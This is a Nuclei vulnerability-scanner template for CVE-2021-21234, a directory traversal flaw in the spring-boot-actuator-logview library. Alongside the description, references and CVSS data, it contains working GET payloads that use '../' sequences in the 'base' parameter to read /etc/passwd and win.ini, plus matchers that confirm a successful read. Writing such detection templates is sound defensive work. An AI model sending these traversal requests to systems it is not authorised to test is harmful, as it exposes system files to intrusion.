nuclei-templates/http/cves/2021/CVE-2021-21234.yaml

56 lines
2.4 KiB
YAML
Raw Normal View History

id: CVE-2021-21234
info:
name: Spring Boot Actuator Logview Directory Traversal
2021-08-24 07:47:25 +00:00
author: gy741,pikpikcu
severity: high
description: |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
2021-08-24 09:49:47 +00:00
reference:
2021-08-24 07:47:25 +00:00
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
2021-08-24 08:46:14 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
2023-07-11 19:49:27 +00:00
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2021-21234
cwe-id: CWE-22
epss-score: 0.96873
epss-percentile: 0.99622
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
metadata:
max-request: 4
2023-07-11 19:49:27 +00:00
vendor: spring-boot-actuator-logview_project
product: spring-boot-actuator-logview
tags: cve,cve2021,springboot,lfi,actuator
http:
- method: GET
path:
2023-07-11 19:49:27 +00:00
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
stop-at-first-match: true
2023-07-11 19:49:27 +00:00
2021-08-24 08:46:14 +00:00
matchers-condition: or
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
2021-08-24 08:46:14 +00:00
condition: and
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
condition: and
# digest: 490a004630440220661173021fef8173535240bcd4f17e999577cc83f1705894f08d75e742354fb202206c838efa5cebfb92bfa23329eb8c01124d2edaa8130f09573cef7cff5e07608f:922c64590222798bb761d5b6d8e72950